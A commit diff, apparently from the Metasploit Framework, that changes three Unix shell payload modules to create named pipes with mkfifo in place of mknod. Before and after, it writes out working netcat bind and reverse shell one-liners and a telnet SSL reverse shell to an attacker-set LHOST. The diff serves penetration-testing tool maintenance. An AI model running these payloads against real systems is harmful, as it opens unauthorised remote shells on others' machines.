Land #6849, mknod to mkfifo
lands wvu's pr to switch from mknod to mkfifo for netcat payloadsbug/bundler_fix
commit
891a788ad4
|
@ -52,7 +52,7 @@ module MetasploitModule
|
||||||
#
|
#
|
||||||
def command_string
|
def command_string
|
||||||
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
|
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
|
||||||
"mknod /tmp/#{backpipe} p; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
|
"mkfifo /tmp/#{backpipe}; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -19,7 +19,7 @@ module MetasploitModule
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)',
|
'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
Creates an interactive shell via mknod and telnet.
|
Creates an interactive shell via mkfifo and telnet.
|
||||||
This method works on Debian and other systems compiled
|
This method works on Debian and other systems compiled
|
||||||
without /dev/tcp support. This module uses the '-z'
|
without /dev/tcp support. This module uses the '-z'
|
||||||
option included on some systems to encrypt using SSL.
|
option included on some systems to encrypt using SSL.
|
||||||
|
@ -53,6 +53,6 @@ module MetasploitModule
|
||||||
#
|
#
|
||||||
def command_string
|
def command_string
|
||||||
pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 )
|
pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 )
|
||||||
cmd = "mknod #{pipe_name} p && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &"
|
cmd = "mkfifo #{pipe_name} && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -52,7 +52,7 @@ module MetasploitModule
|
||||||
#
|
#
|
||||||
def command_string
|
def command_string
|
||||||
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
|
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
|
||||||
"mknod /tmp/#{backpipe} p; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} "
|
"mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} "
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue